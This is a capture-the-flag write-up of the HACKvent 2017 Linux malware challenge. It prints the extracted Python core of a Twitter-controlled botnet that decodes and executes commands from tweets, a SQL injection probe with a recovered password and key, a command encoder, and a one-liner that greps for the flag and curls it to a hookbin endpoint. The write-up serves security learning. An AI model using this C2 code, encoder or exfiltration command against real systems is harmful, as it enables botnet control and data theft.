Oh boy, this will go wrong... =D
Ohai my name is muffinx... ...um yeah btw. cyberwar just started and you should just pwn everyone?
Make sure you don't leave traces and make the lifes of your opponents harder, but fairplay!
You are a hacker? Then think like a hacker!
Attack! Defend! And trick!
Ladies and gentlemen,
We understand that you
Have come tonight
To bear witness to the sound
Of drum And Bass
We regret to announce
That this is not the case,
As instead
We come tonight to bring you
The sonic recreation of the end of the world.
Ladies and gentlemen,
Prepare
To hold
Your
Colour
OK.
Fuck it,
I lied.
It's drum and bass.
What you gonna do?
WARNING:
RUN INSIDE VM, THIS CONTAINER MAYBE DANGEROUS FOR YOUR SYSTEM,
WE TAKE NO RESPONSIBILITY
You should keep the container inside the same host your haxxing on (same ip) or some things will not work...
https://hub.docker.com/r/muffinx/hackvent17_linux_malware/
Hint #1: check https://hub.docker.com/r/muffinx/hackvent17_linux_malware/ for regular updates, keep the container running (on the same ip) when you are haxxing the bot panel
Hint #2: you can also use https://hookbin.com/ to create private endpoints
I have to say I really enjoyed this challenge. Good work, muffinX!
OK, first things first. I pulled the docker image and analyzed it a bit.
$ docker pull muffinx/hackvent17_linux_malware
$ docker inspect muffinx/hackvent17_linux_malware | grep -A 2 Entrypoint
"Entrypoint": [
"./root/loopz.py"
],
Before actually running it I took a look inside the container to see what's in there.
$ docker run -i -t --entrypoint=/bin/bash --user=0 muffinx/hackvent17_linux_malware
$ ls /root
bot checker.py loopz.py party.py
I copied files located in root's home outside the container for further analysis.
$ docker run muffinx/hackvent17_linux_malware &
[1] 25202
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
94978f1117d5 muffinx/hackvent17_linux_malware "./root/loopz.py" 5 seconds ago Up 5 seconds cocky_northcutt
$ docker cp 94978f1117d5:/root/bot .
$ docker cp 94978f1117d5:/root/checker.py .
$ docker cp 94978f1117d5:/root/loopz.py .
$ docker cp 94978f1117d5:/root/party.py .
Then I inspected those files.
- bot - 64-bit ELF binary of the bot
- checker.py - heart-beat script which gets
nonce
from challenges site which is xored and sent back after 2 seconds - loopz.py - simple scheduler script which executes bot binary every 3 seconds
- party.py - distraction script which creates random files and directories
I focused on the ELF binary. After decompiling it I realized it unwraps itself (series of ELF binary and Python script layers) using hidden temporary files in /tmp
. I wrote a simple bash script which helped me to capture those layers.
The only interesting layer was the last one, the other ones were just wrappers. It contained a python script hidden inside manual page of ping
command.
This is the bot's core Python script extracted from the last layer:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import base64, os, re, urllib2
from easyprocess import EasyProcess
os.system('./checker.py')
def x(t): return ''.join([ chr(ord(t[i]) ^ [0x66, 0x66, 0x66, 0x13, 0x37, 0x42, 0x69, 0x33, 0x01, 0x13] [i % 10]) for i in range(len(t)) ])
def ok_cool(c):
try:
c = x( base64.b64decode(c))
EasyProcess(c).call(timeout=2)
except: pass
def wtf(n):
t = base64.b64decode('aHR0cHM6Ly90d2l0dGVyLmNvbS8=') + n #b64decoded: 'https://twitter.com/'
cs = []
try:
c_txt = urllib2.urlopen(t).read()
cs = re.findall(base64.b64decode('VHdlZXRUZXh0U2l6ZSguKik8L3A='), c_txt) #b64decoded: 'TweetTextSize(.*)</p'
except: pass
for c in cs:
try:
c = c[c.index('>')+1:]
if '<a href="/muffiniks" class="twitter-atreply pretty-link js-nav" dir="ltr" data-mentioned-user-id="764117042274373632" ><s>@</s><b>muffiniks</b></a>' in c and ' <a href="/hashtag/hackvent?src=hash" data-query-source="hashtag_click" class="twitter-hashtag pretty-link js-nav" dir="ltr" ><s>#</s><b>hackvent</b></a>' in c and ' rel="nofollow noopener" dir="ltr" data-expanded-url="http://hackvent.hacking-lab.com" class="twitter-timeline-link" target="_blank" title="http://hackvent.hacking-lab.com" ><span class="tco-ellipsis"></span><span class="invisible">http://</span><span class="js-display-url">hackvent.hacking-lab.com</span><span class="invisible"></span><span class="tco-ellipsis"><span class="invisible"> </span></span></a> ' in c:
c = c[c.index(base64.b64decode('TVVGRklOX0JPVE5FVDo='))+len( base64.b64decode('TVVGRklOX0JPVE5FVDo=')):] # b64decoded: 'MUFFIN_BOTNET:'
c = c[:c.index(base64.b64decode('Ok1VRkZJTl9CT1RORVQ='))] # b64decoded: ':MUFFIN_BOTNET'
ok_cool(c)
except: pass
def ohai():
ns = []
try:
n_txt = urllib2.urlopen( base64.b64decode('aHR0cDovL2NoYWxsZW5nZXMuaGFja3ZlbnQuaGFja2luZy1sYWIuY29tOjgwODEvP3R3aXR0ZXI=')).read() # b64decoded: 'http://challenges.hackvent.hacking-lab.com:8081/?twitter'
ns = list(set([n for n in n_txt.split('|') if len(n) > 1]))
except: pass
for n in ns: wtf(n)
ohai()
After a quick code analysis I found this:
ohai()
functions grabs Twitter account names listed on the challenge's panel- each name is then passed to
wtf()
function which searches for tweets with specified format and extracts encoded commands from these tweets ok_cool()
decodes commands end executes them
Pretty simple. Next step was to figure out how to add my account name to the list to be able to send commands to the botnet. I looked at the site panel which contained an embedded YouTube video and just under it there was a hidden form where I could submit a password. I tried a simple SQL injection to see if it's vulnerable.
I entered a' --
as a password and got this interesting response:
[-] query failed : SELECT AES_ENCRYPT('a' --','muffin_botz_hax_pw') AS enc FROM passwords
So I employed sqlmap
tool to do a blind time-based SQLi to get admin's password in its encrypted form and then I decrypted it with the key muffin_botz_hax_pw
. The password was this_pw_is_so_eleet
.
I submited it and got to the next hidden form where I was able to add my Twitter account name to the list.
Then I wrote a simple script based on knowledge how the bot works to encode my commands to the expected message format.
#!/usr/bin/env python
import base64, sys
def x(t): return ''.join([ chr(ord(t[i]) ^ [0x66, 0x66, 0x66, 0x13, 0x37, 0x42, 0x69, 0x33, 0x01, 0x13] [i % 10]) for i in range(len(t)) ])
def decode(cmd): return x(base64.b64decode(cmd))
def encode(cmd): return base64.b64encode(x(cmd))
prefix = '@muffiniks #hackvent http://hackvent.hacking-lab.com MUFFIN_BOTNET:'
suffix = ':MUFFIN_BOTNET'
cmd = str(sys.argv[1])
print(prefix + encode(cmd) + suffix)
At that point a had control over the botnet and was able to send commands. The last step was to find the right command to get the flag from the challenge server which was part of the botnet. I prepared my hookbin to capture all botnet responses and since I knew challenge server's IP from a DNS lookup I filtered captured responses to IP 80.74.140.188
.
I used following command to find the flag in root's home and send it back to my hookbin.
sh -c 'grep -R HV17- /root | base64 -w 0 | curl -d @- https://hookb.in/ZYAg8reb'
Encoded it to a tweet:
$ ./encode_cmd.py "sh -c 'grep -R HV17- /root | base64 -w 0 | curl -d @- https://hookb.in/ZYAg8reb'"
@muffiniks #hackvent http://hackvent.hacking-lab.com MUFFIN_BOTNET:FQ5GPlRiTlRzdhZGS0EXCj8CNj5GSRR8WDZJTyFxBxUDJQNiREQhI0YaRnBCMAUTLHdGJkszXzYdQ3IpSUkOfFgpCx1ofUk8P1JQehtWYzQ=:MUFFIN_BOTNET
Tweeted it and waited for the response from challenge server. This is what i got:
/root/secret:HV17-wh4t-4b0ut-n!x-m4l3w4re-4nd-cyberwarezzz?